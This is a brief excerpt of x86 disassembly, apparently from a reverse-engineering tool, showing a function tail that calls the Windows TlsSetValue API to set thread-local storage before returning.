mov dword [eax - 4], edx
push edx
push dword [0x416198]
call sub.KERNEL32.dll_TlsSetValue
mov esp, ebp
pop ebp
ret